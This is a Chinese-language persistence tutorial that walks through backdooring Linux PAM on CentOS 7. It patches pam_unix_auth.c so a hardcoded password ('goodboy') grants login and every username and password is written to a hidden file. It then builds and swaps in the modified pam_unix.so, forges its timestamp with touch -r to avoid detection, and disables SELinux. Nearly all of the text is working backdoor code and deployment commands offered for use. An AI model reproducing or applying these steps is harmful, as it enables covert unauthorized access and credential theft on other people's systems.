0x00-前言 PAM(Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
简而言之,PAM中 包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现权限维持。
查看pam版本:
- getconf LONG_BIT
- cat /etc/redhat-release
- rpm -qa | grep pam
- apt-get list --installed | grep pam
查看系统版本
- cat /etc/issue
- cat /etc/*-release
- cat /etc/lsb-release
- cat /etc/redhat-release
PAM包下载地址:
http://www.linux-pam.org/library
Centos7 root权限
PAM版本1.1.8
安装gcc
yum install gcc
首先下载对应版本的PAM包,解压
http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行
改成如下代码,代码很简单。修改判断逻辑,并且记录管理员的登录到/usr/share/java/.null中
代码
if(strcmp(p,"goodboy")==0){ retval = PAM_SUCCESS;}
if(retval== PAM_SUCCESS){ FILE *fp = fopen("/usr/share/java/.null","a+"); fprintf(fp,"%s::%s\n",name,p); fclose(fp);}
修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make
OK,遇到yywrap未定义引用不要慌,执行
yum install flex-devel flex重新./configure && make
编译好的文件在modules/pam_unix/.libs/中
随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so
32位系统为/lib/security/pam_unix.so
#备份cp -af /lib64/security/pam_unix.so /opt/#用编译好的pam_unix.so文件替换cp -af pam_unix.so /lib64/security/#修改时间touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
随后关闭SElinux
vim /etc/selinux/configSELINUX=disabled
使用goodboy密码顺利登录系统。当然我使用原本root的密码也能登录,并且会被记录在/usr/share/java/.null中。